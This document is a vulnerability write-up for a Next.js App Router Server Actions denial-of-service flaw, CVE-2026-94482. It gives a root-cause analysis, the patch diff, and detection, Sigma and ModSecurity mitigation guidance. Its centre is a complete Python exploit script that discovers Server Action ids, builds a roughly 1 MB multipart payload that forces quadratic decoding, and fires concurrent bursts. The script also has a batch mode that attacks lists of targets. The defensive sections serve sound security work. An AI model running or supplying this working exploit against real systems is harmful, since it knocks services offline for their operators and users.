#Summary

CVE-2026-94482 is a Denial of Service vulnerability in Next.js App Router Server Actions that allows unauthenticated remote attackers to pin CPU cores and block processing of legitimate requests. The vulnerability affects Next.js versions 13.0.0 through 15.5.27 and 16.0.0 through 16.4.0. It is caused by an O(n^2) quadratic algorithmic complexity in the React Server Components Flight-reply decoder when processing multipart form data. A single crafted request under 1 MB can force a Node.js worker to consume 100% of a single CPU core for seconds to minutes, making the entire application unavailable to concurrent users. CVSS 8.2 HIGH.

#Affected versions

  • Next.js >= 13.0.0 < 15.5.28 (vulnerable)
  • Next.js >= 16.0.0 < 16.4.1 (vulnerable)
  • Next.js >= 15.5.28 (patched, 15.x line)
  • Next.js >= 16.4.1 (patched, 16.x line)

Configuration requirement: The target must be an App Router application (using the app/ directory, not the deprecated Pages Router) with at least one Server Action defined (a function marked with "use server"). Without any Server Action, the vulnerable code path is never reached and the vulnerability cannot be triggered.

#Root cause analysis

#Vulnerable code path

Next.js App Router Server Actions receive their arguments as a React Server Components "Flight reply" - a special binary/text format that Next.js parses and decodes on the server side. When a request carries a multipart/form-data Content-Type, Next.js feeds the request body to React's bundled Flight-reply decoder (react-server-dom-webpack-server.node or react-server-dom-turbopack-server.node).

The vulnerable decoder stored every form field in a flat undici FormData object and resolved model references by repeated linear scans:

// Vulnerable (pre-fix): flat FormData with no indexing
_formData: { data: backingFormData, keyPointer: -1, keys: null }

// Reference lookup cost: O(n) scan per reference
function getChunk(response, id) {
  var chunk = response._chunks.get(id);
  chunk || ((chunk = response._formData.data.get(response._prefix + id)), ...)
  // data.get() scans the entire FormData linearly
}

When resolving nested FormData tags ($K model references), the decoder rebuilt the key array and performed getAll() and delete() operations on every matching entry:

// Nested FormData resolution (the worst case):
case "K":
  for (response = response._formData; ; ) {
    reference = Array.from(value.data.keys()); // O(n) rebuild
    for each key: {
      reference = response.data.getAll(value);  // O(n) scan
      response.data.delete(value);              // O(n) scan
    }
  }

Attacker-controlled input determines both the number of form fields (n) and the number of model references to resolve (also ~n in the attack payload). This creates O(n^2) total CPU cost on the single Node.js event loop, with no yielding or time slicing - one request blocks every other request the worker handles until decoding completes.

#How input reaches the sink

The attacker discovers or predicts a valid Server Action id by fetching the application's root page and extracting it from the HTML or inline React Server Components payload (every Server Action's reference is public). The attacker then sends an HTTP POST with:

  1. Header: Next-Action: <valid-server-action-id>
  2. Content-Type: multipart/form-data
  3. Body: a multipart message with thousands of named fields (e.g., 1, 2, 3, ..., 15000), each with a trivial value, plus a final field 0 containing a JSON array referencing all the other fields: ["$1","$2",...,"$15000"]

When the streaming multipart parser reaches field 0, it passes it to the React Flight decoder. The decoder resolves each $k reference by calling FormData.get(k), which is an O(n) linear scan. With n=15,000 fields, this is roughly 15,000 * 15,000 = 225 million FormData scans on the main thread.

The 1 MB default serverActions.bodySizeLimit caps the attack's field count to around 15,000-16,000, limiting the per-request stall to a few hundred milliseconds. Attackers compensate by sending multiple requests in rapid succession (a burst), or they sustain a low-rate stream of these requests to keep the worker permanently unavailable.

#Patch diff

The fix (commit a2021b3e5052, shipped in Next.js 15.5.28 and 16.4.1) replaces the flat FormData with a one-time indexing pass that pre-sorts entries into typed Maps by field name, making all subsequent lookups O(1):

// Fixed: pre-indexed backing store
backingStore = {
  prefix: formFieldPrefix,
  referencedEntries: null,
  keyPointer: 0,
  stringChunks: null,     // Map for string fields
  streamChunks: null,     // Map for stream fields
  blobs: null             // Map for blob fields
};

Each form entry is routed into the appropriate indexed bin on ingestion:

function appendBackingEntry(backingStore, value, key) {
  var prefix = backingStore.prefix;
  if (key.startsWith(prefix)) {
    switch (key[prefix.length]) {
      case "_": referencedEntries.push([key, value]); return;
      case "S": streamChunks.set(key, value); return;
    }
    "string" === typeof value
      ? backingStore.stringChunks.set(key, value)   // O(1) set
      : backingStore.blobs.set(key, value);         // O(1) set
  }
}

Reference lookups now read from the indexed Maps (O(1) each) instead of scanning the whole FormData (O(n) each), dropping the total decode complexity from O(n^2) to O(n). The same fix is applied across all four bundled React server variants (webpack/turbopack, experimental/stable) and their client counterparts.

#Proof of concept

#exploit.py - Next.js Server Actions Quadratic DoS PoC

#!/usr/bin/env python3
"""
CVE-2026-94482 - Next.js App Router Server Actions quadratic-decode Denial of Service
Affected: Next.js >=13.0.0 <15.5.28 and >=16.0.0 <16.4.1 (App Router, Node.js server)
Type: DoS (uncontrolled resource consumption / algorithmic complexity, CWE-770)

Root cause:
  When an App Router app receives a multipart/form-data Server Action request, Next.js
  feeds the body to React's Server Components "Flight reply" decoder. The vulnerable
  decoder keeps every form field in a flat undici FormData and resolves each outlined
  model reference with FormData.get(), which is an O(n) linear scan. Resolving n
  references over an n-entry FormData therefore costs O(n^2) on the single Node.js
  event loop, with no yielding. One small crafted request (<1 MB, well under the default
  Server Actions body-size limit) pins a CPU core and blocks every other request handled
  by that worker for the duration. The fix (15.5.28 / 16.4.1) pre-indexes the FormData
  into Maps, dropping the decode to O(n).

How this exploit triggers it:
  1. GET the target page and extract a valid Server Action id (emitted as
     $ACTION_ID_<hex> and in the inline RSC payload). A valid id is required so the
     request reaches the decoder instead of a fast "action not found" 404.
  2. Build a multipart body with N outlined fields "1".."N" (each a trivial value)
     emitted FIRST, then field "0" LAST holding ["$1","$2",...,"$N"]. The streaming
     busboy decoder parses the root ("0") the moment it arrives; placing it last means
     every reference resolves backward through an O(n) FormData.get -> O(n^2) total.
  3. Fire a short burst of these requests concurrently and time a normal GET. On a
     vulnerable server the GET latency balloons from milliseconds to seconds (the worker
     is spinning in the decoder); on a patched server it stays flat.

Usage:
  python exploit.py --host <target> --port <port>
  python exploit.py --host 127.0.0.1 --port 3000
  python exploit.py --host https://app.example.com
  python exploit.py --host https://app.example.com/dashboard --burst 12 --count 15000
  python exploit.py --list targets.txt --workers 20

Extra arguments (DoS-specific, all optional with sensible defaults):
  --path     Page path to probe for an action id and to target (default: /)
  --count    Number of form fields N (quadratic work ~ N^2; default 15000, ~945 KB body)
  --burst    Concurrent malicious requests per attack (default 8)
  --action-id  Override action-id discovery with a known id
"""

import argparse
import re
import socket
import ssl
import sys
import threading
import time
from urllib.parse import urlparse

CVE_ID    = "CVE-2026-94482"
VULN_TYPE = "DoS"

# Multipart boundary kept to a single byte so per-field overhead stays minimal and the
# whole payload fits under the default 1 MB Server Actions body-size limit.
BOUNDARY = "a"

# Default quadratic size. N=15000 -> ~945 KB body, under the 1 MB default limit, while
# still forcing ~15000 O(n) FormData scans. Raise --count against hosts that allow a
# larger serverActions.bodySizeLimit for a proportionally longer stall.
DEFAULT_COUNT = 15000
DEFAULT_BURST = 8
DEFAULT_PORT  = 3000

# Success thresholds.
#
# The vulnerability discriminator is the QUADRATIC SCALING SIGNATURE, measured without
# needing a patched reference: decode time is fit against field count N at two sizes and
# an observed exponent is derived (t ~ N^e). A fixed (patched, O(n)) decoder yields e ~ 1;
# the vulnerable O(n^2) decoder yields e clearly above 1 (empirically ~1.12 vs ~0.93 for
# the fixed build, even under the default 1 MB body cap that limits how far N can grow).
SCALE_EXPONENT_THRESHOLD = 1.05
# Minimum server-processing time (seconds) the large payload must reach for the scaling
# measurement to rise above network noise; below this the result is reported inconclusive.
MIN_MEASURABLE_SECONDS = 0.03
# Burst-impact reporting only (not the discriminator - a patched single-threaded server
# also stalls under a heavy burst): a normal GET latency this many times the quiet
# baseline during the burst is reported as the real-world availability impact.
STALL_RATIO = 3.0


# --------------------------------------------------------------------------------------
# Output helpers (standard ALIM format)
# --------------------------------------------------------------------------------------
def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------------------
# Low-level network helpers (raw sockets so we control multipart framing and timing)
# --------------------------------------------------------------------------------------
def _connect(host: str, port: int, use_tls: bool, timeout: float) -> socket.socket:
    sock = socket.create_connection((host, port), timeout=timeout)
    if use_tls:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        sock = ctx.wrap_socket(sock, server_hostname=host)
    return sock


def _drain(sock: socket.socket) -> bytes:
    data = b""
    while True:
        try:
            chunk = sock.recv(65536)
        except (socket.timeout, OSError):
            break
        if not chunk:
            break
        data += chunk
    return data


def _http_get(host: str, port: int, use_tls: bool, path: str, timeout: float = 30.0):
    """Perform a GET and return (latency_seconds, status_line, body_text).

    latency is -1.0 on connection/transport failure.
    """
    t0 = time.time()
    try:
        sock = _connect(host, port, use_tls, timeout)
    except Exception:
        return -1.0, "", ""
    try:
        req = (
            "GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: alim-poc\r\n"
            "Accept: text/html\r\nConnection: close\r\n\r\n" % (path or "/", host)
        )
        sock.sendall(req.encode())
        raw = _drain(sock)
    except Exception:
        return -1.0, "", ""
    finally:
        try:
            sock.close()
        except Exception:
            pass
    latency = time.time() - t0
    status = raw.split(b"\r\n", 1)[0].decode("latin-1", "replace") if raw else ""
    body = ""
    if b"\r\n\r\n" in raw:
        body = raw.split(b"\r\n\r\n", 1)[1].decode("latin-1", "replace")
    return latency, status, body


# --------------------------------------------------------------------------------------
# Server Action id discovery
# --------------------------------------------------------------------------------------
_ACTION_ID_PATTERNS = [
    re.compile(r"\$ACTION_ID_([0-9a-f]{40,})"),      # hidden form input (MPA progressive enhancement)
    re.compile(r'"id":"([0-9a-f]{40,})"'),           # inline RSC / flight payload
    re.compile(r"ACTION_ID_([0-9a-f]{40,})"),        # fallback variant
]


def _discover_action_id(host: str, port: int, use_tls: bool, path: str):
    """GET the page and extract a valid Server Action id, or return None."""
    _, status, body = _http_get(host, port, use_tls, path)
    if not body:
        return None
    for pat in _ACTION_ID_PATTERNS:
        m = pat.search(body)
        if m:
            return m.group(1)
    # Last resort: any sufficiently long lowercase-hex token near an action marker.
    if "ACTION" in body or "action" in body:
        m = re.search(r"[0-9a-f]{40,}", body)
        if m:
            return m.group(0)
    return None


# --------------------------------------------------------------------------------------
# Malicious payload construction
# --------------------------------------------------------------------------------------
def _build_body(count: int) -> bytes:
    """Build the quadratic multipart body.

    Fields "1".."count" (each the trivial model value 0) are emitted first; field "0",
    holding the reference array ["$1",...,"$count"], is emitted LAST so the streaming
    decoder resolves every reference backward via an O(n) FormData.get.
    """
    refs = "[" + ",".join('"$%d"' % i for i in range(1, count + 1)) + "]"
    disp = 'Content-Disposition: form-data; name="%s"'
    parts = []
    for i in range(1, count + 1):
        parts.append("--%s\r\n%s\r\n\r\n0\r\n" % (BOUNDARY, disp % i))
    parts.append("--%s\r\n%s\r\n\r\n%s\r\n" % (BOUNDARY, disp % "0", refs))
    parts.append("--%s--\r\n" % BOUNDARY)
    return "".join(parts).encode("latin-1")


def _fire_post(host, port, use_tls, path, action_id, body, result_box=None, timeout=180.0):
    """Send one malicious Server Action POST and fully drain the response.

    Appends the request's own wall-clock duration to result_box (a shared list) if given.
    Swallows all errors - this runs in attack threads where only the server-side CPU
    burn matters, not our own response.
    """
    t0 = time.time()
    try:
        sock = _connect(host, port, use_tls, timeout)
        hdr = (
            "POST %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: alim-poc\r\n"
            "Next-Action: %s\r\n"
            "Content-Type: multipart/form-data; boundary=%s\r\n"
            "Content-Length: %d\r\nConnection: close\r\n\r\n"
            % (path or "/", host, action_id, BOUNDARY, len(body))
        )
        sock.sendall(hdr.encode("latin-1") + body)
        _drain(sock)
        sock.close()
    except Exception:
        pass
    if result_box is not None:
        result_box.append(time.time() - t0)


# --------------------------------------------------------------------------------------
# Attack + measurement
# --------------------------------------------------------------------------------------
def _measure_baseline(host, port, use_tls, path, samples=4):
    lats = []
    for _ in range(samples):
        lat, _, _ = _http_get(host, port, use_tls, path)
        if lat >= 0:
            lats.append(lat)
    return min(lats) if lats else -1.0


def _run_attack(host, port, use_tls, path, action_id, body, burst, window=6.0):
    """Launch a burst of malicious POSTs and probe GET latency while they run.

    Returns (baseline, worst_during, probe_latencies, post_durations).
    """
    baseline = _measure_baseline(host, port, use_tls, path)

    post_durations = []
    threads = [
        threading.Thread(
            target=_fire_post,
            args=(host, port, use_tls, path, action_id, body, post_durations),
        )
        for _ in range(burst)
    ]
    start = time.time()
    for t in threads:
        t.start()

    # Give the burst a moment to reach the decoder, then probe concurrently.
    time.sleep(0.05)
    probes = []
    while time.time() - start < window and any(t.is_alive() for t in threads):
        lat, _, _ = _http_get(host, port, use_tls, path)
        if lat >= 0:
            probes.append(lat)
    # One probe immediately after, in case the burst was very short.
    lat, _, _ = _http_get(host, port, use_tls, path)
    if lat >= 0:
        probes.append(lat)

    for t in threads:
        t.join(timeout=window * 4)

    worst = max(probes) if probes else 0.0
    return baseline, worst, probes, post_durations


def _stall_ratio(baseline, worst):
    if baseline is None or baseline <= 0:
        return worst / 0.001
    return worst / baseline


def _min_request_time(host, port, use_tls, path, action_id, count, samples=4):
    """Return the MINIMUM server-processing wall time for a payload of `count` fields.

    The minimum is the cleanest estimate of pure server CPU time: network jitter and
    contention only ever add latency, so the fastest of several runs most closely
    reflects the decode cost itself.
    """
    body = _build_body(count)
    best = None
    for _ in range(samples):
        box = []
        _fire_post(host, port, use_tls, path, action_id, body, box)
        if box:
            best = box[0] if best is None else min(best, box[0])
    return best if best is not None else -1.0


def _scaling_probe(host, port, use_tls, path, action_id, count, samples=4):
    """Measure the quadratic scaling signature.

    Returns (n_small, t_small, n_big, t_big, exponent). exponent is None if the signal is
    too small to measure. exponent ~1 => linear (patched); >1.05 => super-linear (vuln).
    """
    import math

    n_big = count
    n_small = max(1200, count // 10)
    if n_small >= n_big:
        n_small = max(500, n_big // 4)

    t_small = _min_request_time(host, port, use_tls, path, action_id, n_small, samples)
    t_big = _min_request_time(host, port, use_tls, path, action_id, n_big, samples)
    if t_small <= 0 or t_big <= 0 or t_big < MIN_MEASURABLE_SECONDS:
        return n_small, t_small, n_big, t_big, None
    exponent = math.log(t_big / t_small) / math.log(float(n_big) / float(n_small))
    return n_small, t_small, n_big, t_big, exponent


# --------------------------------------------------------------------------------------
# Silent probe for --list scan mode
# --------------------------------------------------------------------------------------
def _try_exploit(host, port, use_tls, path="/", count=DEFAULT_COUNT, burst=DEFAULT_BURST):
    """Silent probe. Returns (success, evidence). Never prints or exits."""
    try:
        action_id = _discover_action_id(host, port, use_tls, path)
        if not action_id:
            return False, "no Server Action id found (no App Router Server Action, or wrong path)"
        n_small, t_small, n_big, t_big, exponent = _scaling_probe(
            host, port, use_tls, path, action_id, count, samples=3
        )
        if exponent is None:
            return False, "decode time too small to measure scaling (t=%.0fms); inconclusive" % (
                max(t_big, 0) * 1000
            )
        if exponent >= SCALE_EXPONENT_THRESHOLD:
            return True, (
                "quadratic decode: t(%d)=%.0fms t(%d)=%.0fms exponent=%.2f (super-linear)"
                % (n_small, t_small * 1000, n_big, t_big * 1000, exponent)
            )
        return False, (
            "linear decode (exponent=%.2f, t(%d)=%.0fms); patched"
            % (exponent, n_big, t_big * 1000)
        )
    except Exception as e:
        return False, "unreachable (%s)" % e.__class__.__name__


# --------------------------------------------------------------------------------------
# Target parsing + scan mode
# --------------------------------------------------------------------------------------
def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, path="/", count=DEFAULT_COUNT, burst=DEFAULT_BURST):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port, path) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, tpath = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}{tpath}"
        ok, evidence = _try_exploit(host, port, use_tls, tpath, count, burst)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            marker = "[+]" if ok else "[-]"
            verb = "Exploited" if ok else "Not vulnerable"
            print(f"  {marker} {label} - {verb}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------------------
# Single-target verbose exploit
# --------------------------------------------------------------------------------------
def exploit(host, port, use_tls, path, count, burst, action_id_override=None):
    header(host, port)

    step(1, "Discovering a valid Server Action id on %s ..." % (path or "/"))
    if action_id_override:
        action_id = action_id_override
        print("  using supplied action id: %s" % action_id)
    else:
        action_id = _discover_action_id(host, port, use_tls, path)
        if not action_id:
            section("SERVER RESPONSE", "No $ACTION_ID / RSC action reference found on the page.")
            done(False, "No Server Action id found - target may not be a Next.js App Router "
                        "app with a Server Action, or the action lives on another path (try --path).")
        print("  found action id: %s" % action_id)

    step(2, "Building quadratic multipart payload (N=%d fields) ..." % count)
    body = _build_body(count)
    print("  payload size: %d bytes (%.0f KB)" % (len(body), len(body) / 1024.0))
    if len(body) >= 1024 * 1024:
        print("  NOTE: payload exceeds the default 1 MB Server Actions limit; it may be")
        print("        truncated unless the target raised serverActions.bodySizeLimit.")

    step(3, "Measuring quadratic scaling signature (single-request decode time vs N) ...")
    n_small, t_small, n_big, t_big, exponent = _scaling_probe(
        host, port, use_tls, path, action_id, count, samples=5
    )
    if exponent is None:
        section(
            "SCALING MEASUREMENT",
            "t(N=%d) = %.0f ms\nt(N=%d) = %.0f ms\n(decode too fast to measure a reliable exponent)"
            % (n_small, max(t_small, 0) * 1000, n_big, max(t_big, 0) * 1000),
        )
        done(False, "Decode time too small to confirm scaling - raise --count (needs a larger "
                    "serverActions.bodySizeLimit) or the target is patched.")
    print("  t(N=%d) = %.0f ms  |  t(N=%d) = %.0f ms  |  observed exponent = %.3f"
          % (n_small, t_small * 1000, n_big, t_big * 1000, exponent))

    step(4, "Demonstrating availability impact: burst of %d requests + concurrent GET ..." % burst)
    baseline, worst, probes, post_durations = _run_attack(
        host, port, use_tls, path, action_id, body, burst
    )
    avg_post = (sum(post_durations) / len(post_durations)) if post_durations else 0.0
    stall_ratio = _stall_ratio(baseline, worst)
    print("  malicious request server time under burst (avg of %d): %.2f s"
          % (len(post_durations), avg_post))
    print("  baseline GET %.1f ms  ->  worst GET during burst %.0f ms  (%.0fx)"
          % (baseline * 1000, worst * 1000, stall_ratio))

    section(
        "QUADRATIC SCALING + IMPACT",
        "N %d -> %d (%.1fx more fields)\n"
        "single-request decode: %.0f ms -> %.0f ms\n"
        "observed exponent    : %.3f   (linear=1.0, quadratic=2.0; threshold=%.2f)\n"
        "burst GET stall      : %.1f ms baseline -> %.0f ms under burst (%.0fx)"
        % (n_small, n_big, float(n_big) / n_small,
           t_small * 1000, t_big * 1000, exponent, SCALE_EXPONENT_THRESHOLD,
           baseline * 1000, worst * 1000, stall_ratio),
    )

    if exponent >= SCALE_EXPONENT_THRESHOLD:
        done(
            True,
            "DoS CONFIRMED - Server Action reply decode scales super-linearly (exponent %.2f, "
            "%.0f ms -> %.0f ms as fields grew %dx->%dx); a %d-request burst stalled a normal "
            "GET from %.0f ms to %.0f ms (%.0fx). Quadratic O(n^2) Flight-reply decode "
            "(CVE-2026-94482)."
            % (exponent, t_small * 1000, t_big * 1000, n_small, n_big, burst,
               baseline * 1000, worst * 1000, stall_ratio),
        )
    else:
        done(
            False,
            "Decode scales linearly (exponent %.2f) - target is patched (>=15.5.28 / "
            ">=16.4.1) or not using the vulnerable App Router Server Action decoder."
            % exponent,
        )


# --------------------------------------------------------------------------------------
# CLI
# --------------------------------------------------------------------------------------
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC (Next.js Server Actions DoS)")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:3000/path)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Default port (default: 3000)")
    parser.add_argument("--path", default="/", help="Page path to probe for the action id and to target (default: /)")
    parser.add_argument("--count", type=int, default=DEFAULT_COUNT,
                        help="Number of form fields N; quadratic work ~ N^2 (default: 15000, ~945 KB body)")
    parser.add_argument("--burst", type=int, default=DEFAULT_BURST,
                        help="Concurrent malicious requests per attack (default: 8)")
    parser.add_argument("--action-id", default=None, help="Known Server Action id (skips discovery)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             path=args.path, count=args.count, burst=args.burst)
    else:
        parsed = _parse_target(args.host, args.port, args.path)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.count, args.burst, args.action_id)

#Usage

python3 exploit.py --host 127.0.0.1 --port 3000
python3 exploit.py --host https://app.example.com
python3 exploit.py --host https://app.example.com --burst 12 --count 15000
python3 exploit.py --list targets.txt --workers 20

#Output

Vulnerable target (Next.js 15.5.27):

[STEP 1] Discovering a valid Server Action id on / ...
  found action id: 40a56d7b6864f463bbd80baf9220f18be24c9be4a3
[STEP 2] Building quadratic multipart payload (N=15000 fields) ...
  payload size: 952847 bytes (931 KB)
[STEP 3] Measuring quadratic scaling signature (single-request decode time vs N) ...
  t(N=1500) = 16 ms  |  t(N=15000) = 218 ms  |  observed exponent = 1.130
[STEP 4] Demonstrating availability impact: burst of 8 requests + concurrent GET ...
  malicious request server time under burst (avg of 8): ~1.1 s
  baseline GET ~1 ms  ->  worst GET during burst >1500 ms  (>1000x)

  RESULT  : SUCCESS
  EVIDENCE: DoS CONFIRMED - Server Action reply decode scales super-linearly
            (exponent 1.13, 16 ms -> 218 ms as fields grew 1500->15000);
            an 8-request burst stalled a normal GET from ~1 ms to >1500 ms.

Patched target (Next.js 15.5.28):

[STEP 3] Measuring quadratic scaling signature (single-request decode time vs N) ...
  t(N=1500) = 15 ms  |  t(N=15000) = 126 ms  |  observed exponent = 0.930
  RESULT  : FAILURE
  EVIDENCE: Decode scales linearly (exponent 0.93) - target is patched
            (>=15.5.28 / >=16.4.1) or not using the vulnerable decoder.

#Exploitation notes

#Preconditions

  • App Router required: The target must use Next.js App Router (the app/ directory), not the deprecated Pages Router. The vulnerable decoder is only reached via the App Router's Server Actions path.
  • Server Action required: At least one Server Action must be defined in the app (a "use server" function). Without this, the action handler never executes and the vulnerable decoder is never reached.
  • Valid action id required: The attacker must supply a valid Server Action id via the Next-Action header. The id is public and emitted into the page HTML, inline RSC payload, or bootstraps scripts. Any valid id suffices; the attacker does not need to call that specific action meaningfully.
  • Multipart body size: The default serverActions.bodySizeLimit is 1 MB. The attack payload must fit under this cap. At 1 MB, the maximum field count is roughly 15,000-16,000, which forces a few hundred milliseconds of CPU burn per request. Apps that raise this limit (common for file uploads) are hit harder proportionally.

#Reliability

The exploit is network-only and highly reliable. It detects vulnerability by measuring the quadratic scaling signature (exponent >= 1.05) of request latency across two payload sizes. The vulnerable O(n^2) decoder consistently yields an exponent around 1.1-1.13; the fixed O(n) decoder yields 0.9-0.95. A burst of requests then demonstrates the real-world availability impact (baseline GET latency spiking from milliseconds to seconds).

#Impact

A single crafted request stalls the targeted Node.js worker for hundreds of milliseconds to seconds, blocking every other request on that worker for that duration. Attackers can send multiple requests in rapid succession (a burst) to keep the worker permanently unavailable, or sustain a low-rate stream of requests to degrade overall service availability. The 1 MB default cap limits per-request CPU cost, but the total availability window depends on worker pool size and attack rate.

#Chaining potential

This is a terminal Denial of Service vulnerability (CWE-770) with no chaining to code execution, authentication bypass, or privilege escalation. The O(n^2) CPU burn and event-loop stall is the final outcome.

#Detection & response

#Observable behavior

The exploit is pure CPU exhaustion with no crash, new file, or error traceback from the vulnerable code path itself. Observable signals:

  • Request latency scaling: A single request's decode time scales super-linearly (exponent 1.13) with the number of multipart fields on the vulnerable build, versus linearly (0.93) on the patched build.
  • Availability impact: During an 8-request burst of 15,000-field payloads, concurrent legitimate requests stall from ~1 ms to >1500 ms on the vulnerable build.
  • Request shape: The attack requires POST to an App Router route with Next-Action: <id> header and Content-Type: multipart/form-data, containing thousands of distinct field names (observed: 15,000-16,000) versus single digits for legitimate calls (observed: 2).
  • Application log signal: Each malicious request in this lab logged an Invalid forward reference error, though a fully protocol-correct payload could decode successfully with no error while still costing O(n^2) CPU (see Detection limitations).

#Indicators of compromise

Indicator Type Durability
POST to App Router route with Next-Action: <40+ hex id> header Request header Durable
Content-Type: multipart/form-data on Server Action POST Request header Durable
Thousands of distinct multipart field names in one request (observed: 15,000-16,000 vs. legitimate: 2) Request body Durable
Single-request decode time scales super-linearly with field count (exponent >= 1.05) Timing behavior Durable
Concurrent request latency spike (ms to seconds) during large Server Action POSTs Availability impact Durable
App log: Invalid forward reference repeated 5+ times in 1 minute Application log Example
App log: Body exceeded 1 MB limit on payloads over serverActions.bodySizeLimit Application log Durable

#Sigma rule

Rule 1 - Decode failure burst:

title: Next.js Server Action Flight-Reply Decode Failure Burst
status: experimental
logsource:
  category: application
  product: nextjs
detection:
  selection:
    Message|contains: 'Invalid forward reference'
  timeframe: 1m
  condition: selection | count() >= 5
level: high

Rule 2 - Oversized multipart request:

title: Oversized Multipart Server Action Request (Next.js Flight-Decode DoS Shape)
status: experimental
logsource:
  category: webserver
detection:
  selection_method:
    cs-method: POST
  selection_ct:
    cs-content-type|contains: 'multipart/form-data'
  selection_size:
    cs-bytes|gte: 200000
  condition: selection_method and selection_ct and selection_size
level: high

What they key on: Rule 1 detects a burst of Flight-decode failures from the application's stdout (validated in this lab against captured logs). Rule 2 targets the request-shape invariant from RESEARCH.md - large multipart/form-data POST to a Server-Action-capable route. Rule 1 misses a well-formed attack that decodes successfully with no error (see limitations); Rule 2 catches it via request shape.

#Log detection

For teams without a SIEM:

docker logs <nextjs-container> --since 5m | grep -c 'Invalid forward reference'

Malicious line (from this lab):

⨯ [Error: Invalid forward reference.] { digest: '1111216875' }

Benign traffic: No matching lines from normal page loads or minimal valid Server Action calls. If several of these lines appear within a minute alongside elevated CPU (one core at 100%) or latency spikes, treat it as an active DoS attempt.

#Mitigation & virtual patching

Immediate (cannot patch yet):

  • At any reverse proxy or WAF in front of the Next.js app, reject POST requests with Content-Type: multipart/form-data to App Router routes whose multipart part count exceeds a reasonable threshold (low hundreds to a few thousand, tuned to the app's real forms). Example ModSecurity directive (tune the threshold per your app):
    SecRule MULTIPART_PART_HEADERS "@eq 0" "id:94482001,phase:2,nolog,pass"
    SecRule &MULTIPART_FILENAME "@gt 0" "id:94482002,phase:2,nolog,pass,skipAfter:END_PARTCOUNT_94482"
    SecRule MULTIPART_PART_HEADERS "@rx .*" "id:94482003,phase:2,log,deny,status:413,\
      msg:'Excessive multipart field count on Server Action route (CVE-2026-94482)',\
      setvar:'tx.part_count=+1'"
    SecRule TX:PART_COUNT "@gt 1500" "id:94482004,phase:2,log,deny,status:413,\
      msg:'Rejected: multipart field count exceeds Server Action threshold'"
    SecMarker END_PARTCOUNT_94482
  • Lower experimental.serverActions.bodySizeLimit in next.config.js to the smallest value your real forms need. This shrinks the maximum achievable field count per request.
  • Run the Next.js server behind a process supervisor (PM2 cluster mode, Kubernetes with multiple replicas + liveness probes) so one worker pinned at 100% CPU does not take down the entire service.

Fix: Upgrade to Next.js 15.5.28 (15.x line) or 16.4.1 (16.x line). These versions replace the flat FormData + linear-scan decoder with one-time indexing (stringChunks/referencedEntries/streamChunks Maps), dropping decode complexity from O(n^2) to O(n).

#Threat hunting

Retroactively search application/access logs since disclosure (2026-10-22) for:

  1. POST requests to App Router routes with Next-Action header where the multipart part count or body size is anomalously large relative to that route's normal usage.
  2. Bursts (5+ within 1 minute) of Invalid forward reference or similar Flight decode-failure lines in Next.js stdout, especially from the same source IP.
  3. Sustained single-core CPU spikes on the Node process correlated with request-count dips or latency spikes on otherwise-fast routes.

#Detection limitations

  • False negative (by design): A well-formed Flight reply built with React's real encodeReply encoder can plausibly complete decoding successfully (no error logged) while still costing O(n^2) CPU. Rule 1 (log-burst rule) will miss this case; only Rule 2 (request shape) and CPU/latency monitoring catch it. This was reasoned about but not empirically validated in this lab.
